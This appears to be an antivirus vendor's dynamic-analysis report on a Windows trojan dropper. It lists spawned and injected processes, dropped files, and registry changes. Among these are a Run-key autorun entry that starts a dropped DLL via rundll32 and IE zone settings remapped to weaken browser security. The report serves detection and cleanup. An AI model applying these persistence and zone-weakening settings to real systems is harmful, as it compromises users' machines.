Trojan.Generic.6923881_35f27015c5 – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

Done.exe:816
rundll32.exe:2536
WinInstall.exe:1140
Rich.exe:1980
E4U.exe:1932
EuroP.exe:948
SLFAT.exe:1824
%original file name%.exe:1676
_tbp.exe:1900

The Trojan injects its code into the following process(es):

stb1.exe:1840
rundll32.exe:636
tenn2.exe:1076
Gi.exe:188
ntvdm.exe:1112
willwnd.exe:476
IC.exe:1112
Explorer.EXE:532
svchost.exe:1084
spoolsv.exe:1424

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process stb1.exe:1840 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\quickdomainfwd[1].htm (12 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\js3[1].js (2843 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@quickdomainfwd[1].txt (180 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\min[2].js (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\12224[1].htm (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\px[1].js (346 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\numArrow[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\xt.exe (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\min[1].js (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\track[1].htm (0 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (964 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\quickdomainfwd[1].net&pid=9PO755G95 (388 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\px[1].js (346 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\searchIcon[1].gif (1 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\sk-logabpstatus[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\min[1].js (0 bytes)

The process Done.exe:816 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\WinInstall.exe (1552 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nswC.tmp (45 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsmD.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nshB.tmp (0 bytes)

The process tenn2.exe:1076 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\track[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\park.lwken[1].htm (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\CA44QI0C.htm (0 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\History\History.IE5\MSHist012014041520140416 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\MSHist012014041520140416\index.dat (0 bytes)

The process ntvdm.exe:1112 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM (4 bytes)
C:\ (4 bytes)
%WinDir%\Temp\scs11.tmp (33880 bytes)
%Documents and Settings%\%current user%\Local Settings\APPLICATION DATA (4 bytes)
%WinDir%\assembly (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp (4 bytes)
%WinDir%\Temp (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp (4 bytes)
%WinDir%\Microsoft.NET\Framework\v4.0.30319 (672 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wireshark.txt (440 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~DF93DE.tmp (4 bytes)
%WinDir%\Microsoft.NET\Framework (96 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\index.dat (1496 bytes)
%WinDir%\Microsoft.NET\Framework\v2.0.50727\CONFIG (4 bytes)
%Documents and Settings%\%current user%\MY DOCUMENTS (4 bytes)
%WinDir%\Fonts (632 bytes)
C:\$Directory (2052 bytes)
%Documents and Settings%\%current user%\Local Settings (4 bytes)
%System%\dllcache (648 bytes)
%System% (6712 bytes)
%WinDir%\Microsoft.NET\Framework\V2.0.50727 (768 bytes)
%WinDir% (1072 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu7.tmp (4185 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\MSHist012016090320160904\index.dat (400 bytes)
%Documents and Settings%\All Users\DOCUMENTS (4 bytes)
%WinDir%\WinSxS\Policies\x86_Policy.8.0.Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_x-ww_77c24773 (4 bytes)
%System%\config (4 bytes)
%WinDir%\Temp\scs12.tmp (10145 bytes)
%Documents and Settings%\%current user% (4 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\index.dat (480 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN (4 bytes)
%WinDir%\MICROSOFT.NET (4 bytes)
%Documents and Settings%\%current user%\Cookies (192 bytes)

The Trojan deletes the following file(s):

%WinDir%\Temp\scs11.tmp (0 bytes)
%WinDir%\Temp\scs12.tmp (0 bytes)

The process WinInstall.exe:1140 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\stb1.exe (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nssF.tmp (1568 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\willwnd.exe (784 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nssE.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi10.tmp (0 bytes)

The process IC.exe:1112 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\4.tmp (601 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\5.tmp (0 bytes)

The process EuroP.exe:948 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Scv..bat (166 bytes)

The process SLFAT.exe:1824 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\7za.exe (18424 bytes)
%Documents and Settings%\%current user%\Application Data\Done.exe (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\a1.7z (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu7.tmp (12234 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nso6.tmp (0 bytes)

The process %original file name%.exe:1676 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\Gi.exe (2392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\ic2.exe (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\E4U.exe (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\IC.exe (4992 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\SLFAT.exe (12024 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\tenn2.exe (12 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf2.tmp (14400 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\EuroP.exe (2392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\Rich.exe (2392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\_tbp.exe (3312 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\ic2.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\E4U.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\Gi.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\tenn2.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\EuroP.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\_tbp.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp (0 bytes)

The process _tbp.exe:1900 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%WinDir%\jevc3r.dll (90 bytes)

Registry activity

The process stb1.exe:1840 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"xt.exe" = "xt"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1F 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "06 DD 2E 15 F7 F4 DF C9 3C FB FD A9 B5 58 AF CD"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process Done.exe:816 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C8 3E 44 89 FD 5F 17 EC 36 94 E5 B3 1F F9 27 92"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"WinInstall.exe" = "WinInstall"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Temp\7]
"7" = "http://www.flvtube.net/12224"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process rundll32.exe:2536 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CB F4 F3 BF 48 1A 02 6A 8B F4 41 28 95 B0 42 6D"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Wtube]
"Bveqayeweci" = "43 01 38 03 58 05 51 07 41 09 44 0B 48 0D 41 0F"

The process rundll32.exe:636 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9C 17 37 C3 5D 6D EB 9D 2B B1 AD A0 FA 6D 0C D4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Wtube]
"Eqegaqojoqoka" = "180"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Ihoragiqinicim" = "rundll32.exe %WinDir%\jevc3r.dll,Startup"

The process tenn2.exe:1076 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016090320160904]
"CacheLimit" = "8192"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016090320160904]
"CachePrefix" = ":2016090320160904:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016090320160904]
"CacheRepair" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016090320160904]
"CacheOptions" = "11"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 20 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016090320160904]
"CachePath" = "%USERPROFILE%\Local Settings\History\History.IE5\MSHist012016090320160904\"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7C 2C D7 E3 B1 34 B8 EF 87 9B 3E 12 4E 6B 1E 6A"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following registry key(s):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014041520140416]

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process Gi.exe:188 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1E 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EA C4 71 32 C6 6A 22 91 E9 83 40 9F 0A 50 DA 75"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process ntvdm.exe:1112 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2B 09 03 5F 70 22 54 6B DB 18 28 99 E1 9B 90 AA"

The process WinInstall.exe:1140 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4D 62 3C D3 FA F5 C0 B4 D3 4C 51 56 10 DF A1 1D"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"stb1.exe" = "stb1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

